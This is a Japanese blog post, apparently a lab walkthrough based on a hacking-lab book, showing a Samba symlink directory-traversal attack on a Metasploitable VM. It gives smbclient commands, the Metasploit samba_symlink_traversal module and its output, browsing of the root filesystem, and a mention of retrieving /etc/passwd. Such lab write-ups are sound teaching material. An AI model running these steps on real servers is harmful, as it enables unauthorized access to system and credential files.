Samba を利用したディレクトリトラバーサル攻撃

Linux

Metasploitable へのポートスキャンにより、Samba のポートが開放されていることがわかっています。

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

今回は Samba を利用してハッキングを行っていきます。

Samba とは?

Sambaとは、Windows 以外のOSでWindows のネットワーク共有機能を実現するソフトウェアです。
Sambaにより、LinuxをWindowsのファイルサーバとして使用するといったことも可能になります。

ディレクトリトラバーサル攻撃とは?

通常はアクセスできないディレクトリに対して、公開されているディレクトリを横断(トラバーサル)してアクセスを行う行為を「ディレクトリトラバーサル攻撃」と呼びます。

以下のようなイメージで、直接アクセスはできませんが、アクセス可能なディレクトリを経由してアクセスを行います。

sambaサービスへのアクセス

Kali から Metasploitable で稼働している samba サービスにアクセスします。アクセスは「smbclient」コマンドで可能です。

まず、以下のコマンドで共有フォルダのリストを表示させます。
smbclient -L //10.0.0.5

root@kali:~# smbclient -L //10.0.0.5
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED

すると、上記のようなエラーが表示されて接続に失敗してしまいました。
どうやら、「/etc/samba/smb.conf」に”client min protocol = NT1”と追記することでこのエラーが解消されるようです。

#======================= Global Settings =======================

[global]
client min protocol = NT1

この設定を行うことで接続が成功し、以下のように共有フォルダが表示されました。

root@kali:~# smbclient -L //10.0.0.5
Enter WORKGROUP\root's password: 
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP           

Commentを見ると、tmp フォルダが「oh noes!」となっており異質な印象を受けます。
このフォルダを使用して、ディレクトリトラバーサル攻撃を行っていこうと思います。

samba から共有フォルダ外へのシンボリックリンク

samba には共有フォルダ外にシンボリックリンクを設定する項目があります。新しいバージョンではセキュリティの観点からデフォルトで無効になっていますが、Metasploitable では有効化されています。

そのため、Metasploitable 内の”非”共有フォルダへのシンボリックリンクを設定することができ、sambaにアクセスさえできればそのフォルダにアクセス可能となってしまいます。

この機能を利用して、samba から / (ルートディレクトリ)にシンボリックリンクを設定することで、Kali から Metasploitable の / (ルートディレクトリ) にアクセスすることができます。

auxiliary/admin/smb/samba_symlink_traversal

Metasploit には、ディレクトリトラバーサル攻撃用のモジュールが用意されています。
今回はこちらを使用してディレクトリトラバーサル攻撃を行います。
RHOST」には Metasploitable の IPアドレスを指定してください。
SMBSHARE」には共有フォルダ名を指定してください。

msf5 > use auxiliary/admin/smb/samba_symlink_traversal
msf5 auxiliary(admin/smb/samba_symlink_traversal) > 
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set rhost 10.0.0.5
rhost => 10.0.0.5
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set smbshare tmp
smbshare => tmp
msf5 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 10.0.0.5

[*] 10.0.0.5:445 - Connecting to the server...
[*] 10.0.0.5:445 - Trying to mount writeable share 'tmp'...
[*] 10.0.0.5:445 - Trying to link 'rootfs' to the root filesystem...
[*] 10.0.0.5:445 - Now access the following share to browse the root filesystem:
[*] 10.0.0.5:445 - 	\\10.0.0.5\tmp\rootfs\

[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/samba_symlink_traversal) >

そうすると、tmpフォルダにrootfsというシンボリックリンクが作成されます。これは / (ルートディレクトリ) へのリンクになっています。

samba から Metasploitable の ルートディレクトリ へアクセス

「smbclient」コマンドで tmp フォルダへアクセスします。
※パスワードは何も入力せずEnterでOKです。

root@kali:~# smbclient //10.0.0.5/tmp
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>

ls コマンドで「rootfs」が存在するかを確認します。

smb: \> ls
  .                                   D        0  Sat Mar 21 11:45:12 2020
  ..                                 DR        0  Sun May 20 14:36:12 2012
  4579.jsvc_up                        R        0  Sat Mar 21 01:07:39 2020
  .ICE-unix                          DH        0  Sat Mar 21 01:07:03 2020
  orbit-msfadmin                     DR        0  Sat Mar 21 06:25:32 2020
  .X11-unix                          DH        0  Sat Mar 21 01:07:11 2020
  .X0-lock                           HR       11  Sat Mar 21 01:07:11 2020
  rootfs                             DR        0  Sun May 20 14:36:12 2012
  gconfd-msfadmin                    DR        0  Sat Mar 21 06:25:32 2020

		7282168 blocks of size 1024. 5436392 blocks available

「rootfs」が存在することが確認できたので、「rootfs」に移動します。

smb: \> cd rootfs\
smb: \rootfs\>

この状態で ls コマンドを実行します。
すると、root配下のディレクトリ構造になっていることがわかります。

smb: \rootfs\> 
smb: \rootfs\> ls
  .                                  DR        0  Sun May 20 14:36:12 2012
  ..                                 DR        0  Sun May 20 14:36:12 2012
  initrd                             DR        0  Tue Mar 16 18:57:40 2010
  media                              DR        0  Tue Mar 16 18:55:52 2010
  bin                                DR        0  Sun May 13 23:35:33 2012
  lost+found                         DR        0  Tue Mar 16 18:55:15 2010
  mnt                                DR        0  Wed Apr 28 16:16:56 2010
  sbin                               DR        0  Sun May 13 21:54:53 2012
  initrd.img                          R  7929183  Sun May 13 23:35:56 2012
  home                               DR        0  Fri Apr 16 02:16:02 2010
  lib                                DR        0  Sun May 13 23:35:22 2012
  usr                                DR        0  Wed Apr 28 00:06:37 2010
  proc                               DR        0  Sat Mar 21 01:06:37 2020
  root                               DR        0  Sat Mar 21 01:07:11 2020
  sys                                DR        0  Sat Mar 21 01:06:38 2020
  boot                               DR        0  Sun May 13 23:36:28 2012
  nohup.out                           R     5821  Sat Mar 21 01:07:11 2020
  etc                                DR        0  Sat Mar 21 01:07:09 2020
  dev                                DR        0  Sat Mar 21 01:07:03 2020
  vmlinuz                             R  1987288  Thu Apr 10 12:55:41 2008
  opt                                DR        0  Tue Mar 16 18:57:39 2010
  var                                DR        0  Wed Mar 17 10:08:23 2010
  cdrom                              DR        0  Tue Mar 16 18:55:51 2010
  tmp                                 D        0  Sat Mar 21 11:45:12 2020
  srv                                DR        0  Tue Mar 16 18:57:38 2010

		7282168 blocks of size 1024. 5436392 blocks available

このことから、Kali から Metasploitable の / (ルートディレクトリ)にアクセスできていると言えます。
この状態であれば「/etc/passwd」ファイルを取得するといった攻撃が行えるようになります。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第6章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました